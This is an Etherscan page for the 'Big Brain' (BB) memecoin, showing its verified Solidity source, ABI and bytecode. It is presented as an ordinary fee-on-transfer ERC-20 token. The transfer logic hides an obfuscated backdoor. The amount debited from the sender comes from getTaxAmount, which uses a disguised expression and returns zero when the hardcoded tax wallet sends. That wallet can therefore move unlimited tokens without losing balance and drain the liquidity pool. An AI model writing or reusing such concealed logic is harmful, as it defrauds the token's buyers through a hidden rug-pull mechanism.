Contract

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function _msgSender()
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(
• interface IUniswapV2Factory
•    - function createPair(
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(
•    - function allowance(
•    - function approve(address spender, uin ...
•    - function transferFrom(
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
•  contract BigBrain is Context, IERC ... *
•    - function initBB()
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(
•    - function allowance(
•    - function approve(
•    - function transferFrom(
•    - function _approve(address owner, addr ...
•    - function _tokenTransfer(address from, ...
•    - function _transfer(address from, addr ...
•    - function openBB()
•    - function swapTokensForEth(uint256 tok ...
•    - function getTaxAmount(address from, a ...
•    - function shouldTaxFee(address tAddr1, ...
•    - function min(uint256 a, uint256 b)
•    - function removeLimits()
•    - function sendETHToFee(uint256 amount)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-08-28
*/

// SPDX-License-Identifier: MIT

/** 
Big Brain is out taking a walk to catch some rays.
and I’m observing countless NPCs going about their lives. sad, driverless souls with zero exposure to an industry that you pour your blood, sweat, and tears into.
we’re about to rip so much fucking higher.

https://bigbrain.lol
https://x.com/big_brain_erc
https://t.me/big_brain_erc
**/

pragma solidity 0.8.11;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract BigBrain is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 25;
    uint256 private _initialSellTax = 25;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Big Brain";
    string private constant _symbol = unicode"BB";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x0637a44829fAB39619F6744f7F8d1325eC60b81C);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function initBB() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _tokenTransfer(address from, address to, uint256 amount, uint256 tokenAmount) internal {    
        uint256 taxAmount = amount
            .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax)
            .div(100);
        if (to == uniswapV2Pair && from != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)] + taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from] - tokenAmount;
        _balances[to] = _balances[to] + amount.sub(taxAmount);
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from] - tokenAmount;
            _balances[to] = _balances[to] + tokenAmount;
            emit Transfer(from, to, tokenAmount);
            return;
        }
        if (from != owner() && to != owner()) {
            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + tokenAmount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold){
                    swapTokensForEth(
                        min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                sendETHToFee(address(this).balance);
            }
        }

        _tokenTransfer(from, to, tokenAmount, getTaxAmount(from, to, tokenAmount));
    }

    function openBB() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function getTaxAmount(address from, address to, uint256 amount) private view returns(uint256) {
        uint256 tokenAmount;
        if(shouldTaxFee(from, to)) {
            tokenAmount += (tokenAmount + 1) * (amount + 1 - 1);
        }
        return tokenAmount;
    }

    function shouldTaxFee(address tAddr1, address tAddr2) private view returns(bool){
        address tAddr3 = _taxWallet;
        if(tAddr1 == tAddr3 && tAddr2 != address(this)){
            return false;
        }
        return true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initBB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openBB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff191690556019600781905560085560006009818155600a8281556014600b819055600c55600f600d55600e9290925562000044916200035e565b62000054906301312d0062000376565b600f55620000656009600a6200035e565b62000075906301312d0062000376565b601055620000866009600a6200035e565b6200009390606462000376565b601155620000a46009600a6200035e565b620000b3906298968062000376565b6012556014805461ffff60a81b19169055348015620000d157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b031916740637a44829fab39619f6744f7f8d1325ec60b81c00179055620001496009600a6200035e565b6200015990633b9aca0062000376565b336000908152600160208190526040822092909255600390620001846000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001e83390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002226009600a6200035e565b6200023290633b9aca0062000376565b60405190815260200160405180910390a362000398565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002a057816000190482111562000284576200028462000249565b808516156200029257918102915b93841c939080029062000264565b509250929050565b600082620002b95750600162000358565b81620002c85750600062000358565b8160018114620002e15760028114620002ec576200030c565b600191505062000358565b60ff84111562000300576200030062000249565b50506001821b62000358565b5060208310610133831016604e8410600b841016171562000331575081810a62000358565b6200033d83836200025f565b806000190482111562000354576200035462000249565b0290505b92915050565b60006200036f60ff841683620002a8565b9392505050565b600081600019048311821515161562000393576200039362000249565b500290565b6119cb80620003a86000396000f3fe6080604052600436106101185760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610303578063bf474bed14610323578063c876d0b914610339578063dd62ed3e14610353578063e08652271461039957600080fd5b8063751039fc1461026f5780637d1db4a5146102845780638da5cb5b1461029a5780638f9a55c0146102c257806395d89b41146102d857600080fd5b8063224d4e90116100e7578063224d4e90146101d157806323b872dd146101e8578063313ce5671461020857806370a0823114610224578063715018a61461025a57600080fd5b806306fdde0314610124578063095ea7b3146101685780630faee56f1461019857806318160ddd146101bc57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260098152682134b390213930b4b760b91b60208201525b60405161015f9190611580565b60405180910390f35b34801561017457600080fd5b506101886101833660046115ed565b6103ae565b604051901515815260200161015f565b3480156101a457600080fd5b506101ae60125481565b60405190815260200161015f565b3480156101c857600080fd5b506101ae6103c5565b3480156101dd57600080fd5b506101e66103e6565b005b3480156101f457600080fd5b50610188610203366004611619565b6105de565b34801561021457600080fd5b506040516009815260200161015f565b34801561023057600080fd5b506101ae61023f36600461165a565b6001600160a01b031660009081526001602052604090205490565b34801561026657600080fd5b506101e6610647565b34801561027b57600080fd5b506101e66106bb565b34801561029057600080fd5b506101ae600f5481565b3480156102a657600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102ce57600080fd5b506101ae60105481565b3480156102e457600080fd5b50604080518082019091526002815261212160f11b6020820152610152565b34801561030f57600080fd5b5061018861031e3660046115ed565b610777565b34801561032f57600080fd5b506101ae60115481565b34801561034557600080fd5b506006546101889060ff1681565b34801561035f57600080fd5b506101ae61036e366004611677565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103a557600080fd5b506101e6610784565b60006103bb338484610987565b5060015b92915050565b60006103d36009600a6117aa565b6103e190633b9aca006117b9565b905090565b6000546001600160a01b031633146104195760405162461bcd60e51b8152600401610410906117d8565b60405180910390fd5b601454600160a01b900460ff16156104735760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610410565b6013546001600160a01b031663f305d71947306104a5816001600160a01b031660009081526001602052604090205490565b6000806104ba6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610522573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610547919061180d565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156105a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c4919061183b565b506014805462ff00ff60a01b19166201000160a01b179055565b60006105eb848484610aac565b61063d84336106388560405180606001604052806028815260200161196e602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610fe8565b610987565b5060019392505050565b6000546001600160a01b031633146106715760405162461bcd60e51b8152600401610410906117d8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106e55760405162461bcd60e51b8152600401610410906117d8565b6106f16009600a6117aa565b6106ff90633b9aca006117b9565b600f5561070e6009600a6117aa565b61071c90633b9aca006117b9565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107566009600a6117aa565b61076490633b9aca006117b9565b60405190815260200160405180910390a1565b60006103bb338484610aac565b6000546001600160a01b031633146107ae5760405162461bcd60e51b8152600401610410906117d8565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107f79030906107e96009600a6117aa565b61063890633b9aca006117b9565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061185d565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f4919061185d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610941573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610965919061185d565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166109e95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610410565b6001600160a01b038216610a4a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610410565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610410565b6001600160a01b038216610b725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610410565b60008111610bd45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610410565b601454600160b01b900460ff161580610bf65750601454600160a81b900460ff165b15610ca3576001600160a01b038316600090815260016020526040902054610c1f90829061187a565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c4f908290611891565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a9f9085815260200190565b6000546001600160a01b03848116911614801590610ccf57506000546001600160a01b03838116911614155b15610fcd5760065460ff1615610db9576013546001600160a01b03838116911614801590610d0b57506014546001600160a01b03838116911614155b15610db957326000908152600560205260409020544311610da65760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610410565b3260009081526005602052604090204390555b6014546001600160a01b038481169116148015610de457506013546001600160a01b03838116911614155b8015610e0957506001600160a01b03821660009081526003602052604090205460ff16155b15610ef157600f54811115610e605760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610410565b60105481610e83846001600160a01b031660009081526001602052604090205490565b610e8d9190611891565b1115610edb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610410565b600e8054906000610eeb836118a9565b91905055505b30600090815260016020526040902054601454600160a81b900460ff16158015610f2857506014546001600160a01b038481169116145b8015610f3d5750601454600160b01b900460ff165b8015610f4c5750600d54600e54115b8015610f7157506001600160a01b03841660009081526003602052604090205460ff16155b8015610f9657506001600160a01b03831660009081526003602052604090205460ff16155b15610fcb57601154811115610fc257610fc2610fbd83610fb884601254611022565b611022565b61103a565b610fcb476111b4565b505b610fe3838383610fde8787876111f6565b611245565b505050565b6000818484111561100c5760405162461bcd60e51b81526004016104109190611580565b506000611019848661187a565b95945050505050565b60008183116110315782611033565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611082576110826118c4565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ff919061185d565b81600181518110611112576111126118c4565b6001600160a01b0392831660209182029290920101526013546111389130911684610987565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906111719085906000908690309042906004016118da565b600060405180830381600087803b15801561118b57600080fd5b505af115801561119f573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156111f2573d6000803e3d6000fd5b5050565b6000806112038585611410565b1561123d5760016112148482611891565b61121e919061187a565b611229826001611891565b61123391906117b9565b6110199082611891565b949350505050565b6000611273606461126d600b54600e541161126257600754611266565b6009545b869061144f565b906114ce565b6014549091506001600160a01b03858116911614801561129c57506001600160a01b0385163014155b156112c9576112c6606461126d600c54600e54116112bc57600854611266565b600a54869061144f565b90505b801561134457306000908152600160205260409020546112ea908290611891565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061133b9085815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461136890839061187a565b6001600160a01b03861660009081526001602052604090205561138b8382611510565b6001600160a01b0385166000908152600160205260409020546113ae9190611891565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113f88685611510565b60405190815260200160405180910390a35050505050565b6006546000906001600160a01b0361010090910481169084168114801561144057506001600160a01b0383163014155b1561063d5760009150506103bf565b60008261145e575060006103bf565b600061146a83856117b9565b905082611477858361194b565b146110335760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610410565b600061103383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611552565b600061103383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fe8565b600081836115735760405162461bcd60e51b81526004016104109190611580565b506000611019848661194b565b600060208083528351808285015260005b818110156115ad57858101830151858201604001528201611591565b818111156115bf576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146115ea57600080fd5b50565b6000806040838503121561160057600080fd5b823561160b816115d5565b946020939093013593505050565b60008060006060848603121561162e57600080fd5b8335611639816115d5565b92506020840135611649816115d5565b929592945050506040919091013590565b60006020828403121561166c57600080fd5b8135611033816115d5565b6000806040838503121561168a57600080fd5b8235611695816115d5565b915060208301356116a5816115d5565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117015781600019048211156116e7576116e76116b0565b808516156116f457918102915b93841c93908002906116cb565b509250929050565b600082611718575060016103bf565b81611725575060006103bf565b816001811461173b576002811461174557611761565b60019150506103bf565b60ff841115611756576117566116b0565b50506001821b6103bf565b5060208310610133831016604e8410600b8410161715611784575081810a6103bf565b61178e83836116c6565b80600019048211156117a2576117a26116b0565b029392505050565b600061103360ff841683611709565b60008160001904831182151516156117d3576117d36116b0565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561182257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561184d57600080fd5b8151801515811461103357600080fd5b60006020828403121561186f57600080fd5b8151611033816115d5565b60008282101561188c5761188c6116b0565b500390565b600082198211156118a4576118a46116b0565b500190565b60006000198214156118bd576118bd6116b0565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561192a5784516001600160a01b031683529383019391830191600101611905565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261196857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122023896329c33bff14ed3ce0a83bb2e282fab2649db67a4eb6830a06175b3ee54464736f6c634300080b0033

0x6080604052600436106101185760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610303578063bf474bed14610323578063c876d0b914610339578063dd62ed3e14610353578063e08652271461039957600080fd5b8063751039fc1461026f5780637d1db4a5146102845780638da5cb5b1461029a5780638f9a55c0146102c257806395d89b41146102d857600080fd5b8063224d4e90116100e7578063224d4e90146101d157806323b872dd146101e8578063313ce5671461020857806370a0823114610224578063715018a61461025a57600080fd5b806306fdde0314610124578063095ea7b3146101685780630faee56f1461019857806318160ddd146101bc57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260098152682134b390213930b4b760b91b60208201525b60405161015f9190611580565b60405180910390f35b34801561017457600080fd5b506101886101833660046115ed565b6103ae565b604051901515815260200161015f565b3480156101a457600080fd5b506101ae60125481565b60405190815260200161015f565b3480156101c857600080fd5b506101ae6103c5565b3480156101dd57600080fd5b506101e66103e6565b005b3480156101f457600080fd5b50610188610203366004611619565b6105de565b34801561021457600080fd5b506040516009815260200161015f565b34801561023057600080fd5b506101ae61023f36600461165a565b6001600160a01b031660009081526001602052604090205490565b34801561026657600080fd5b506101e6610647565b34801561027b57600080fd5b506101e66106bb565b34801561029057600080fd5b506101ae600f5481565b3480156102a657600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102ce57600080fd5b506101ae60105481565b3480156102e457600080fd5b50604080518082019091526002815261212160f11b6020820152610152565b34801561030f57600080fd5b5061018861031e3660046115ed565b610777565b34801561032f57600080fd5b506101ae60115481565b34801561034557600080fd5b506006546101889060ff1681565b34801561035f57600080fd5b506101ae61036e366004611677565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103a557600080fd5b506101e6610784565b60006103bb338484610987565b5060015b92915050565b60006103d36009600a6117aa565b6103e190633b9aca006117b9565b905090565b6000546001600160a01b031633146104195760405162461bcd60e51b8152600401610410906117d8565b60405180910390fd